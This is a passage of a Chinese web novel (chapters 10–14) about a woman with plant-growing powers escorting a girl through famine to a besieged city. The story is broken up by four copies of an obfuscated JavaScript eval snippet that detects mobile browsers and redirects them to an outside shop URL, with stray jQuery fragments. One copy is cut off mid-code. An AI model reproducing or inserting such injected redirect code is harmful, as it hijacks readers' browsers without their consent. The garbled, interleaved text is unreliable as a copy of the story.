走过,看到的人也只以为她是镇子上的人。再加上篮子一看可见是空的,就更没人在意了。 直到走到了柳条街附近,周围才又恢复了安静——逃荒的流民最是知道趋利避害,柳条街上住的都是大户人家,这些人闹事也不敢闹过来。更何况这些大户人家都有自己的水井,外面并没有公用的井,他们就算过来了也一无所获。 季舟好歹松了口气。这个世界没有异能,她用异能催生草莓也得背着人,一路闹哄哄的她根本没找到合适的地方动手。所幸现在没人看见,她这才找了个角落开始催生。 吴小公子的要求是多多益善,季舟也不知道下一次卖草莓得什么时候,干脆一口气催生了二十颗草莓苗,结了百多颗大草莓,也将带来的大篮子装了个满满当当。 丰收的果实沉甸甸的,季舟略微感受了一□□内的异能——重生前她刚经历一场恶战把异能用完了,这一天一夜也没恢复多少,现在为了赚钱她又把蓝条用完了。 季舟不免叹了口气,但想想这个世界还算太平,以她的身手应该足以应付绝大多数危险。这才将异能耗空的不安压了压,提着红彤彤的草莓继续上路。 走进柳条街没一会儿就到了熟悉的吴宅,季舟抬手刚叩响门环,大门就从里面打开了。 这回开门的人不是吴家门房,而是等候已久的吴小公子。小胖子看到季舟眼睛一亮,看到她手里的篮子眼睛就更亮了:“这么多,这么多,都是我的了!” 他说着就要向篮子扑去,却被季舟一抬手躲开了:“小公子,一手交钱……” 吴小公子没等她把下半句说完,已经掏出一块金锭塞她手里了。金锭入手沉甸甸的,季舟也不知道这金锭换成银子够不够他们之前说好的价钱? 季舟犹豫一下,还是把草莓给了对方,末了提醒一句:“篮子要还我。” 吴小公子抱着篮子正心满意足的闻草莓香,听到这话顿时一脸的无语:“这破篮子又不值钱,你手里拿着金子,还非得要这破篮子?!” 当然得要回来,这篮子可是季舟冲小二借的。 好在吴小公子说归说,他心里还嫌弃这破篮子配不上香甜漂亮的草莓呢,当即进了门房就把篮子给季舟腾了出来。还篮子时他还有些依依不舍:“小哥你叫什么名字?家住在哪里?回头我把这些吃完了,还想跟你买呢。” 季舟收回篮子转身就走,闻言冲身后摆摆手:“不卖了,攒到钱我得逃荒去了。” 10. 逃荒的第十天 季舟这一趟出去熟门熟路,并没有花多少时间,回到客栈时天都还没有黑。不过等她回到客房才发现,离开时睡得正香的颜姝不知道什么时候已经醒了,见她回来眼睛就是一亮。 “你回来了?”颜姝的声音里带着雀跃,还有一点点她自己都没察觉到的委屈。 季舟年纪虽然不大,但在末世也见惯了人情冷暖,这时一眼就看出了颜姝眼里的依赖。这让她难得有些不自在,低低应了一声:“嗯,我……有点事,出去一趟。” 颜姝倒没追问什么事,她只有些踌躇:“那咱们今晚还走吗?” 季舟见她眼底期待,大概是真想尽快赶到府城的,便也顺着她的心意说道:“如果你休息好了,那就走吧。我已经跟小二打听过了,咱们之前是有一段路走茬。不过从长水镇去府城倒不用走回头路,另外还有一条路也能去府城,路上大概要走三天。” 颜姝听她说完便下了决定:“那就启程吧,我想早点赶去府城。现在这世道好像越来越乱了,我爹虽然是去府城参加乡试的,但眼下府城是什么情况也很难说。” 说到这里,颜姝的语气中都带上了惆怅,以及对未来情况的不确定。 季舟当然没有意见,听罢立刻说道:“那行,你先收拾收拾,我去找小二买点热粥吃。难得住次客栈,正经的饭菜没吃上,好歹也得吃顿新鲜的。” 颜姝也没什么行李可以收拾,收拾自己又太费水,干脆拎着包袱就跟上了季舟的脚步。 两人来到大堂时正巧,小二哥也正捧着碗粥在吃。仔细一看那粥碗里还带着些绿,也不知道是客栈自己种了点菜,还是从外面找回来的野菜。 见二人出来,小二哥立刻放下了碗招呼道:“两位客官,这是有什么事吗?” 季舟瞥了眼他碗里的粥,也没拐弯抹角:“小二哥,客栈里没有菜,那有粥卖吗?” 小二闻言下意识看了眼自己的粥碗,就见碗里的粥稀薄得映出一片水光——逃荒来的客人嫌弃干粮噎人,想喝他这一碗粥。可天知道现在的粮食有多贵,他是想吃干的也吃不起,这才用这清汤寡水糊弄糊弄肚子。 心里腹诽,小二哥脸上却扬起了热情的笑:“客官要不嫌弃的话,当然是有的。我这粥里还放了早先晒干的野菜呢,这样煮一锅也算是有饭有菜了。” 季舟当然不嫌弃,颜姝也很久没吃新鲜饭食了,两人立刻要了菜粥。 趁着小二去端粥的空挡,季舟也跟了上去,一路就跟到了后厨。 小二并没有发现身后跟了人,端着托盘一扭头,差点就装在了季舟身上。好容易刹住了脚,还有些惊魂未定:“客官你怎么跟来了?这要是粥不小心撒你身上了,可烫人呢。” 季舟的目光却越过了小二,看向了灶台。她目光逡巡一圈,灶上的铁锅太大不好搬动,最终在个落灰的角落里发现了一只小锅。 她眼睛当即一亮,指着那小锅便问:“小二哥,你这小锅能卖我吗?” 小二没料到她冷不丁来这一出,下意识顺着她手指看了过去,倒也看到了那口因为太小而闲置的锅。只是他这里是客栈,又不是杂货铺,还真没听说有人上客栈买锅的。 说句小心眼的话,这跟上门砸场子有什么区别? 季舟看出了小二眼里的微妙,当即掏出银子:“我加钱。” 小二看见银子,眼里的微妙立刻变成了热情,一边接钱一边说道:“当然能卖,这锅闲着也是闲着,卖给客官正好腾位置了。” 季舟眼里也有了笑,眼睛又扫过调料台:“那我还得买些盐,小二哥一并卖我吧。” …… 颜姝和季舟离开长水镇时,两手空空的季舟背上多了个包袱。 两人这一趟进镇子买的东西不少,除了多备了五天的干粮之外,季舟还买了一只小锅十斤粮食。她不知道如今府城是什么情况,但把颜姝送到她爹面前之后,她是打算继续往江南走的。到时候逃荒的人肯定更多,想要买粮也会更加麻烦。 踏着月色,两人又走上了新的道路。 许是夜里上路的人少,也许是从长水镇往府城去的人不多,两人这一路都没遇见同行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375263|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之人。浓浓的夜色下只有她们两人走在路上,凉爽的夜风吹拂在身上,莫名生出股寒意。 颜姝走着走着就不自觉往季舟身边靠,路还没走多远,她就差贴在季舟手臂上了。 季舟并不习惯与人这般亲近,她忍了忍终究没忍住,扭头就要说些什么。结果这一回头正瞧见颜姝皱着眉,有些紧张模样,不由奇道:“你怎么了?这么紧张,是怕走夜路吗?可昨晚咱们也是夜里赶路,怎么没看见你害怕啊?” 颜姝也不知道,她搓了搓手臂:“我也不知道,昨晚赶路只觉得凉爽轻松,今晚走在这路上莫名就有点不安。”说完顿了顿,猜测道:“可能是这条路走的人不多,少了人气吧?” 季舟不置可否,但巧合的是下一秒远处就传来一阵狼嚎。 颜姝身子一抖,立刻抱住了季舟的手臂,目光仓皇的看向四周的黑暗:“季舟,有狼!” 季舟当然听到了,她在末世前和变异兽没少打交道,听到狼嚎声也是本能的戒备。但她很快又放松下来,因为这里不是末世,这里的狼也还没有变异。于是安抚似的拍了拍颜姝抓着自己的手:“安心,那狼叫声远着呢,起码隔了两座山,不会找过来的。” 颜姝并没有安心,她听着远处阵阵狼嚎,望着前路的黑暗,只觉得路边的枯树都在冲着她张牙舞爪。可走夜路是她自己提出来的,这时候当然不好打退堂鼓。 季舟没听到颜姝回话,却感觉抱着自己手臂的两只手更紧了。 她有些好笑,又有些无奈,还有些对少年人难得的纵容,索性也就由着对方去了。 两人拖拖拉拉继续上路,颜姝一开始确实很紧张,将季舟的手臂抱得很紧。可等走了一阵狼嚎声越来越远,直到听不见,夜色下那些张牙舞爪的阴影似乎也不足为惧了。 颜姝心里渐渐安稳下来,明亮的月光洒落在身上,似乎又找回了昨夜的从容。可这时她已经习惯抱着季舟的手臂了,后者也没有反对,她干脆就一路抱着走了下去。 月光下,两人的影子略微交叠,隐隐约约透出股亲密。 11. 逃荒的第十一天 季舟和颜姝这一走就是一夜。直到远方天际出现了一抹鱼肚白,第一缕朝阳划破夜空,赶了一夜路的两人也终于感觉到了疲惫。 “天亮了,走了一夜,咱们找地方休息休息吧。”颜姝脸上有了疲色。 季舟身体素质比她好许多,背着一二十斤的东西走了一夜也没觉得累。不过她也不会拒绝颜姝,当即就左右环顾一番,找到一片枯树林:“去林子里吧,一会儿路上有人。” 颜姝应了声好,两人于是转道去了路边的林子。因为天旱的缘故,路边这片林子在大夏天就一副萧条模样,树枝上光秃秃的,也不知道那些树叶是干了掉了,还是被路过的行人随手薅走了。所幸这片林子里的树都挺粗壮,人往树后一坐,走在路上便也看不到什么了。 季舟也颜姝也没往林子里走太深,就找了棵大树坐在了后面。 刚坐下,季舟就先递了水囊过去:“喝点水吧。晚上赶路虽然不热,但这一路走下来也该渴了。等喝完水咱们再吃点干粮,今早就不生火了。” 颜姝接过水囊抿了一口,没有之前赶路时喝水那样急切,闻言还往季舟背后瞧了——她在长水镇客栈买了锅买了粮,装成一大包背在了背上,终于有了点逃荒的样子。现在听她有条不紊的安排,颜姝心里也更安稳了几分,当下顺从的点了点头。 这时天刚亮,天边的朝阳还是金红色的,远没有白日那样炽烈。两人吃完干粮靠在树后睡上一会儿,清晨的风都还透着凉爽,远比白日舒服许多。 只是两人刚闭眼没一会儿,季舟忽然就睁开了眼睛,“噌”的一下坐了起来。 睡在荒郊野外,颜姝本就机警,再加上两人靠得近,季舟一有动作颜姝也立刻被惊醒了。她眼中朦胧的睡意一闪而过,很快清醒过来,下意识压低了声音:“怎么了?” 季舟目光看向树林外:“有人过来了。” 颜姝听到这话放松了些。这时节各处都断水,逃荒的人多,路上有人经过实在不是什么稀奇事。不过很快她就发现了不对,因为季舟目光看向的并不是她们的来处,而是对面。 果然,没一会儿对面就来人了,一家子老小推着板车背着大包小裹,从对面走了过来。 颜姝想到什么,忽然扭头问季舟:“你向小二哥打听路的时候有没有问过,这条路是直通府城吗?路上还有没有别的城镇或者村子?”问完没等季舟回答,又自己喃喃出声:“也不对,就算还有别的村子,前面离府城更近,也该往府城去,怎么会往长水镇来?” 时人看中家乡,不到迫不得已不会背井离乡,就算逃荒他们也不愿意离家太远。所以在有选择的情况下,富贵繁华还有大官坐镇的府城,才是人们逃荒的第一选择。 颜姝心里隐隐有些不安,但又安慰自己或许路上那一家人只是例外。 季舟一眼就看出了她的不安,当即撑地站了起来:“你等着,我去打听打听消息。” 颜姝心里本就不安,闻言哪里等得住,立刻跟着爬了起来:“等等我,我和你一起去。” 两人说话间从林子里跑了出来,路上那一家子还被吓了一跳,差点以为是运气不好遇到劫道的了。等看清跑出来的是两个年轻人,提起的心这才放下许多。 饶是如此,几个男丁也护在了前面,还有人放话:“你们什么人?别过来,我们村还有人走在后面呢,赶乱来我一嗓子就能喊来人!” 季舟和云舒闻言向着道路尽头看了一眼,隐隐绰绰倒真看见了几道人影,显然往长水镇走的并不止眼前这一家,说不定是整个村子集体出动。只是这一家子可能和村里什么人不和,这才走在了前面,但也没和大部队相隔太远。 面对这家人的防备,季舟和云舒都识趣的停在了安全线外。 这种情况下穿着男装的季舟显然更适合与人打交道,于是她主动说道:“大哥别误会,我们没恶意,就是想问问你们这是要去哪儿?” 几个男人面面相觑,还是先前放话那人皱眉说道:“我们去哪儿关你什么事?” 季舟便说道:“是这样的,我们刚从长水镇过来,是想去府城的。这不是看你们和我们走的方向正好相反吗,就想问问你们怎么不去府城?”说完顿了顿,又补了一句:“长水镇那边情况也不太好,镇上的井水都干了,过去的话还不知道要走多远才能找到落脚的地方。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375264|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 几人闻言脸色都有些不好,但也没有太意外的样子。不过或许是季舟主动说了长水镇的消息,对方倒也松了口:“这样啊,那也没办法,我劝你们还是回去吧,府城那边可去不得。” 颜姝本来躲在季舟身后,闻言忍不住急道:“府城怎么了?” 对面便说道:“府城乱了。听说不知从哪儿来了一群乱民,把府城都给围了起来。现在什么情况也不清楚,但总归不是咱们几个升斗小民能够掺和的。” 颜姝想到还在府城的父亲,脸色就是一白。她有心想要打听更多的消息,可惜这些人也只是道听途说,再问也问不出什么了。对方倒是好心的劝她们打道回府,可颜姝去府城就是为了寻找唯一的亲人,又怎么可能返回长水镇,甚至逃荒去更远的地方? 等这一家子踏着尘土离开,颜姝的心也还乱着。她的目光不由自主的落在了季舟身上,嘴唇嗫嚅了几下,像是要说些什么,却又顾虑重重始终没能出口。 可颜姝嘴上说不出的话,那双黑白分明的灵动眼眸却已经说得明明白白了。 季舟被她看得心软,也猜到了颜姝此刻的顾虑。她倒没有见事不好就退缩的想法,伸手一把揽住颜姝肩膀,带着人回到了林子里:“放心,我知道你是要去府城寻父,我陪你去就是了。府城就算乱了,我也能护你周全。” 她说得轻描淡写,言语间却又自信十足,让人听了莫名生出信任。 颜姝亲近的靠在季舟怀里,抬头看去时,正瞧见一抹朝阳透过纷乱的树枝落在她脸上,将季舟那张俊秀脸庞衬托得越发神采动人。她看着看着耳边倏地一静,听不到晨风吹拂过树枝的风声,也听不到远处山间的鸟鸣,只有“噗通”“噗通”的声音十分规律的敲响耳膜。 哦对,那是她的心跳声,有一点点快,乍闻消息的恐慌也被信任与喜悦一点点取代。 颜姝看向季舟的目光一点点有了变化,她一直都知道的,府城是自己的目的地却不是季舟的。她之所以与她同行,不过是想送她一程罢了。 现在这程路越发难走了,可季舟也没有抛下她的打算,于是越来越多的信任依赖与好感,在这一刻悄然滋生。 12. 逃荒的第十二天 得知府城那边出了事,季舟和颜姝赶路的速度更快了,面对一拨拨与她们背道而驰的人群也没有退缩的意思。两人走了三天,终于远远看到了府城的城墙。 好消息是府城的防守还算□□,并没有被乱民攻破。 坏消息是那群包围了府城的乱民还没走,现在府城城门紧闭,外面还围了成千上万的乱民,想要通过正常渠道进入府城根本不可能。 当然,正常渠道季舟也没法走,毕竟她是个黑户,没有户籍和路引根本进不了府城的城门。 颜姝见到府城的模样倒是偷偷松了口气。她爹是秀才,手无缚鸡之力,要是碰上乱民真讨不了好。现在府城虽然封闭了,但人在城里总是暂时无忧的。 那么现在唯一的问题,就是她们该怎样进城找人了。 颜姝靠在季舟身边,不知不觉已经对这人生出了依赖:“城门关着,咱们现在该怎么办啊?”顿了顿又问:“要不要先找人打听打听消息?” 季舟的见识却比她广,隔着老远就看出了这群乱民和之前逃荒难民的不同。她拉着颜姝就避到了远处,根本不往城门前凑:“最好不要过去。你没看出来吗,这群人和咱们之前遇到的都不一样。他们看上去太狼狈了,没带多少行李,老人女人和孩子都很少。” 颜姝闻言也顺着季舟的目光开始观察,发现她说的一点不差,心里顿时就沉了几分。她抿了抿有些发干的唇,说出了自己的猜测:“这些,这些恐怕不是禹州的难民。” 听说北边靖州也是干旱,而且旱得比禹州还要久,也更严重。这些人可能已经逃荒很久了,走到这里已没了家小的拖累,这才成了乱民。再加上人多势众,连官府都不好管,她们两个女子要是贸然上前,说不定就会惹来麻烦上门。 颜姝头脑清醒,很快想明白这些,可远远望着那紧闭的高大城门,眼里还是有些不甘。 季舟自然发现了,而她带着人走了那么远的路过来,当然也不是为了和目标隔门相望的。她左右四顾一番,终于在发现了一处高地,干脆就带着颜姝爬了上去。 那是一座小山丘,距离城门有点远,所以山丘上并没有什么人。而这小山丘算不上高耸,却恰好和城墙差不多高,站在上面几乎可以将城门下方的情况尽收眼底。再加上季舟的眼力远比正常人好,居高临下这一看,才真正是一览无余。 颜姝赶了半个月路,走到府城心气一松,早已是筋疲力尽,爬个小山丘也是气喘吁吁。等她好不容易喘匀了气,往下方一看,只见黑压压一片人头,再多的也看不出来了。 不过季舟显然有些发现,她看得还挺认真。 颜姝等了一会儿,觉得时间差不多了才问:“怎么样,你看出什么了吗?” 季舟果然抬手指了个方向,说道:“你看那边。” 颜姝随着她所指看去,可惜离得太远,她什么也没看出来:“什么?” 季舟便解释:“那边的人和城门下的这些不一样,他们是刚来的,队伍里不仅有女人和孩子,甚至还有代步的牲口。正常情况下得知禹州府城被围,他们就该绕过去远离是非,可现在这些人不仅来了,看到这种情况也没有要走的意思。” 颜姝明白了,顺着她的话接道:“他们确定有能力自保,或者有一定要留下的理由。”说着目光转向城头:“留在城外只会越来越危险,难道他们有进城的法子?” 季舟耸了耸肩,不置可否。 …… 季舟和颜姝昼伏夜出赶了三天的路才到府城,抵达的时候正好是清晨。 两人赶了一夜的路本就十分疲惫,看情况暂时也没办法进城,干脆就留在了远离人群的山丘上。只是城楼下的人到底太多,即便相隔挺远,隐隐也能听见远处嘈杂的人声。 找了个阴凉处,颜姝如前几日一般依偎在季舟身旁,闭上眼试图入睡恢复体力。可隐约的人声始终萦绕在她耳旁,再加上心中挂念着城中的父亲,颜姝闭眼躺了许久却始终没能入眠。甚至因为担心自己动作或影响季舟休息,她连翻身都不敢,躺了一会儿只觉浑身僵硬。 同样闭目休息的季舟早就察觉到了身边人的心神不宁,她在心里叹了口气,干脆翻过身将颜姝揽进了怀里,顺便捂住了她的耳朵:“好了,先休息,晚上咱们再想办法进城。” 捂在耳朵上的手带着薄茧,却依旧透着温柔。远处的嘈杂人声被隔绝在了掌心之外,连带着季舟这番话也变得瓮声瓮气的。可颜姝还是听清了,心里的不安顿时消减了许多,取而代之的是放下大半心事的轻松。她偷偷伸手拽住了季舟的衣襟,额头抵在她怀中,轻轻应了一声“嗯”。 季舟低头看了一眼,只觉得乖乖窝在自己怀中的女孩像只乖巧的小猫——她听说末世前的小猫很乖,还会冲人撒娇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375265|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直很想养一只。 可惜末世的猫都是变异猫,一个比一个凶残,直到她死的那天也没撸上一回猫。 思绪略微发散,等季舟再次回神,怀里的人已经睡熟了。几日相处下来,那绵长的呼吸声季舟早就熟悉了,甚至不知不觉被其影响,也闭上眼陷入了浅眠。 再次醒来已是傍晚,怀里的人依旧沉睡未醒。 季舟被压得半边身子都有些发麻,但她也没急着动,反而再次闭上眼运转起了异能——距离在长水镇卖草莓已经过去了三天,她的异能又恢复了些。木系异能主生机,在身体内转了一圈,不仅血液不通带来的麻痹消失了,连日赶路的疲惫也彻底恢复。 身体状态重回巅峰,季舟这才轻手轻脚将颜姝从身上挪开。只是这一挪动才发现,她衣襟还被人揪在手里,于是难免惊动了熟睡中的人。 许是靠在季舟怀里十分安心,颜姝被惊醒时还有些迷糊,等她彻底清醒发现自己枕着的地方过分柔软,脸颊倏地烫了起来。她“噌”一下坐直了身子,揪着季舟衣襟的手也赶紧放开了,面红耳赤的说道:“抱,抱歉。” 季舟反倒被她这声道歉弄得不明所以,随手理了理衣襟,不解道:“你忽然道什么歉?是我该说抱歉,吵醒了你吧?” 她这话说得过于坦诚了,反倒让颜姝不知该接什么才好。 短暂的尴尬过后,颜姝也看到了夕阳余晖晕染的天际。她想起了睡着之前季舟说的那番话,于是生硬的转移了话题:“你之前说天黑了想办法进城,是有什么主意了吗?” 季舟没有多想,自然也没留意到颜姝是在转移话题,自然而然的接了话:“哦,你说这个啊,有些头绪了。不过现在还早,有些事非得等天黑了才行。咱们现在还是先吃点干粮,继续养精蓄锐,等天黑之后咱们就下山,去城墙下碰碰运气。” 颜姝一愣,下意识重复道:“碰碰运气?” 季舟坦然与她对视,黑亮的眼眸里却并没有半点玩笑。 或许是同行几日养出的默契与信任,颜姝恍然间明白了什么,也就没有多问。她乖乖取出了干粮,递了一份给季舟,就听这人小声嘟哝了一句:“来这儿成天就啃干粮了,也不知道这府城里有没有什么好吃的?” 颜姝一顿,心情忽然就轻松了些:“我听我爹说过,府城天香楼的八宝鸭是一绝,进了城可以去试试。” 13. 逃荒的第十三天 落日西沉之后,暮色很快就笼罩了大地,城门外星星点点燃起了灯火,却也不多。 季舟和颜姝休息一天已经恢复了体力,两人趁着暮色下了山,终于开始向府城靠近。只是走了一段颜姝就发现了,季舟领着自己并不是往城门方向走,而是往西侧去。 她望着前路想了想,很快就想起来了,白日两人曾在西边城墙下看到了一群特殊的逃荒人。心里当即有了些底,颜姝也没开口询问,只闷头跟着季舟往前走。 城楼下聚集的人很多,白日里看着气势汹汹,但到了晚上颜姝才发现,这些人也不过是强撑着样子罢了。天黑之后再闹也没人看,于是筋疲力尽的人们大多就地躺了下去,不仔细看还以为这城外是躺了一地的尸体。可你要是轻视了他们,说不定就要吃个大亏。 颜姝当然不敢轻视任何人,她跟在季舟身后拽着她的衣角,一路走得相当小心。可即便如此,在经过某具“尸体”时,躺在地上的人还是突然“诈尸”了。 此时月光明亮,饿的奄奄一息的人躺在地上,不经意的一次睁眼恰好看到了身旁路过的人……身姿窈窕,举止小心,一看就是个年纪不大的小女郎。这倒不是重点,重点是她还有力气乱走,那么她背上的那个小包袱里会不会还有粮食? 饿急了眼的人立刻精神一振,几乎是红着眼从地上跳了起来,二话不说就去抢颜姝背后的包裹。他眼里只有可能存在的食物和水,根本没有注意到颜姝前面还有个高挑身影。 颜姝自然是被这突如其来的变故吓了一跳,发出一声小小的惊呼。 走在前面的季舟立刻警觉回头,一眼就看到了正在抢颜姝包袱的乱民——她都不用看旁边就知道,这里的变故肯定已经吸引了不少人的目光,要是不能立刻镇压的话,恐怕两人很快就会陷入乱民的包围。毕竟比起颜姝背上那个小小的包袱,她背着的包裹显然要大得多。 季舟几乎本能的做出了判断,一把就将颜姝拉到了身后。然后不等那抢东西的乱民再做些什么,直接一脚踹了过去,正好踢中对方胸口。 这一脚她只用了五成力,但异能者的五成力也不是普通人能够承受的。 一旁蠢蠢欲动的人群只见那被踢中的人如断线的风筝一般倒飞出去,离得近的还能感觉到有星星点点的液体落在了自己脸上。拿手一抹,一手的猩红,显然是新鲜的人血。 本就安静的人群更加寂静了,有人畏惧的看着季舟,也有人偷偷别开眼不敢再看。难得有个胆大的,等了半天也没听到伤者的哀嚎,于是偷偷凑过去看了看。这一看顿时就吓得跌坐在了原地,却原来那人已经瞪着双眼死了,脸上全是血。 周围越发噤若寒蝉,季舟也对自己那一脚的威力心知肚明。所以她根本没有去查看情况的意思,当然也不想吓到身边猫一样的小姑娘,干脆牵着人转身就走。 乱民们胆子是大,但也没到不惧生死的地步,或者说他们一路逃亡求生才更加怕死。眼看对方是个一脚能踹死人的凶人,自然没人敢撩虎须,纷纷收起了多余的心思。 颜姝并不知道季舟踢死了人,但季舟又一次救了她,她只体会到了满满的安全感。 这回再往前行,季舟牵了她的手,她也小心的牵了回去。许是季舟长得高的缘故,她的手也比寻常女儿家更大,几乎将她的手包在了掌心。 颜姝不时低头看一眼两人牵在一起的手,又侧头看一眼身旁的人,心思莫名就有点乱。 好在颜姝虽然心不在焉,但季舟并没有,她目标坚定的带着人一路走到了西边的城墙下。也不知道是之前震慑宵小的一幕被人看到了,还是季舟那身高配着一身不好惹的气势让人望而却步,总之两人之后再没遇见什么不识趣的人。 西城墙下,白日看到的那群人还围坐在原地。男人们在外围成了一个圈,将体弱的女人老人和孩子都围在了里面。不过这些人的情况显然比东边的乱民好许多,水和粮食看着都不缺。 季舟匆匆扫了一眼,这群人不多不少,男女老少加起来看着有一二百人。 颜姝白日只远远看过一眼,并不知道具体情况,这会儿终于看清楚情况,心中难免有些惊疑。但夜里安静,声音传得也远,她不敢大声说话,只好扯了扯季舟衣袖。 季舟回头看了过来,目露询问:“怎么了?” 颜姝便压低了声音,凑到她耳边说道:“这群人在这里待了一天,怎么没人来抢?” 这显然很不合理,府城外的乱民早就饿急眼了,连她那小小的包袱都有人抢。眼前这群人有水有粮有牲口,妥妥就是一块大肥肉,没人来抢简直奇怪——城外聚集的乱民足有数万,这一两百人扔里面连朵浪花都掀不起来,显然不可能是畏惧武力。 季舟早就发现了这一点,但她也没头绪,便只道:“不清楚,先看看情况吧。这些人今晚应该会想办法进城,咱们最好跟着。要是不行,只能等后半夜再想法子了。” 颜姝眨眨眼,很想问她还有什么法子,可季舟却已经别过脸显然不准备回答。 她要怎么回答?难道要她告诉她,实在不行她就找个没有守军值守的地方,用异能催生藤蔓爬上城墙,然后自己再背着她翻进城去吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375266|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 不到万不得已,季舟可舍不得这样浪费她好不容易恢复的异能。 …… 夜渐渐深了,城外越发寂静。 原本围坐在一起的人群终于有了动静,他们抛下了累赘的家什,只背着金银细软悄无声息的行动起来。正好附近这一片笼罩在城墙的阴影下,深沉的夜色也帮忙掩盖了行踪。 白日闹了一日的乱民大多已经陷入了沉沉睡梦中。季舟和颜姝却不一样,两人早就习惯了昼伏夜出,再加上白天休息了一整天,这会儿精神正好。 两人眼看着这群人轻手轻脚往城墙方向走,自然悄悄跟在了后面。 没一会儿,走在前面的人便到了城墙下。为首的一人从怀中掏出个火折子,吹燃之后在身前晃了几晃,红色的火光在夜色中分外显眼。 季舟和颜姝远远看着,就见黑漆漆的城墙上方很快有了回应,似乎有什么东西被人放了下来。 夜色太深,离得远的人没能看清,但为首的人显然心里有数。他一把扶住了从城楼上放下来的篮子,又从怀里掏出只沉甸甸的钱袋,颇为肉痛的放了进去。 城楼上的人很快察觉到了重量,飞快将篮子拽了上去,入城的定金就算是交付了。 城墙下的人继续等着,没一会儿便等得心慌意乱,季舟听见有人小声质问:“他们收了钱,真会放我们进城吗?别不是收了银子就跑了吧,咱们都不知道那上面是谁。” 这话一出,众人心里更慌,但好在城楼上终于有了动静。 一条绳梯被扔了下来,瞬间安抚住了慌张的人群。为首那人拉着绳梯用力拽了拽,确定很结实才压低了声音说道:“按之前说好的,我爬得快,先上去看着情况,你们一会儿动作都快些。” 寂静的夜里没人敢大声回话,为首的汉子也不需要众人回答,转身就攀上了绳梯。就像他自己说那样,他攀爬的速度确实很快,就如一只灵巧的猿猴,很快就攀上城墙翻了进去。之后就是久久的安静,城楼下的人又等了一会儿,这才等到城楼上有人探出身子冲着下方招手。 季舟看到这里,忽然牵着颜姝转身就走。 颜姝不明所以,回头看了一眼,正瞧见那群人开始顺着绳梯往上爬。 走出一段距离后,颜姝这才小声问道:“怎么了,之前不是说好要跟在这群人身后吗?” 季舟拧着眉头往远处的黑暗中瞥了一眼:“刚才回头冲下面招手的,不是之前爬上去那人。”说完拉着颜姝脚步又快了两分:“还有你没发现吗,不少人正往这边聚拢,再不走就来不及了。” 14.逃荒的第十四天 今夜月色明亮,但月光照不到的黑暗里,总有人在蠢蠢欲动。 季舟不知道城楼上发生了什么,也不清楚城墙下即将发生什么,但对危险的敏锐直觉让她选择立刻带着颜姝离开。 两人走得悄无声息,却又迅捷异常。 不一会儿,两人便远离城墙数十丈,重新踏入了月华笼罩的范围。 明亮的月光洒落在身上,终于将心中的紧张驱散了几分。颜姝这时候再回头去看,就见城墙下黑漆漆一片,什么都看不清了。 颜姝有几分好奇,但却没有深究的心思,她转头看向身旁的季舟:“咱们现在怎么办?” 季舟自然不打算带着颜姝搅混水,更何况今晚闹这一出,今后想进城就更难了。她略微想了想,终于还是一咬牙说道:“走吧,我带你走另一条路。” 颜姝闻言顿时好奇,现在府城封锁严密,今晚这条路大概是城上守军私下开辟来赚外快的路子,哪里还能有第二条?就算有第二天,她俩今天也才刚到,哪里有时间去找? 只是心里疑惑归疑惑,颜姝却也没有开口质疑,只管跟着季舟就是。 两人于是又绕了个圈,找到了另一个黑暗人少的角落。 季舟趁着颜姝看不见,偷偷往地上扔下了一枚变异爬山虎的种子。异能催动之下,小小的种子开始生根发芽,很快沿着笔直的城墙攀爬而上,形成了一条天然的绳索。更妙的是这变异爬山虎虽然看着纤细,却异常坚韧,足够承担两个人的重量。 颜姝对黑暗中这一切一无所知,她跟着季舟来到这角落,左右看了看也无半点异常。她又等了等,也没等到季舟和先前那人一样冲着城楼上放信号,终于开口问道:“咱们接下来做什么?” 季舟却是不慌不忙,胸有成竹般吐出一个字:“等。” 等?等什么? 颜姝一时不明所以,但也没让她等太久,很快城楼上便传来了一阵喧闹。她也没听清城楼上到底发生了什么,却能看到有士兵手持火把从楼上跑过,火光短暂的照亮了这片城墙。 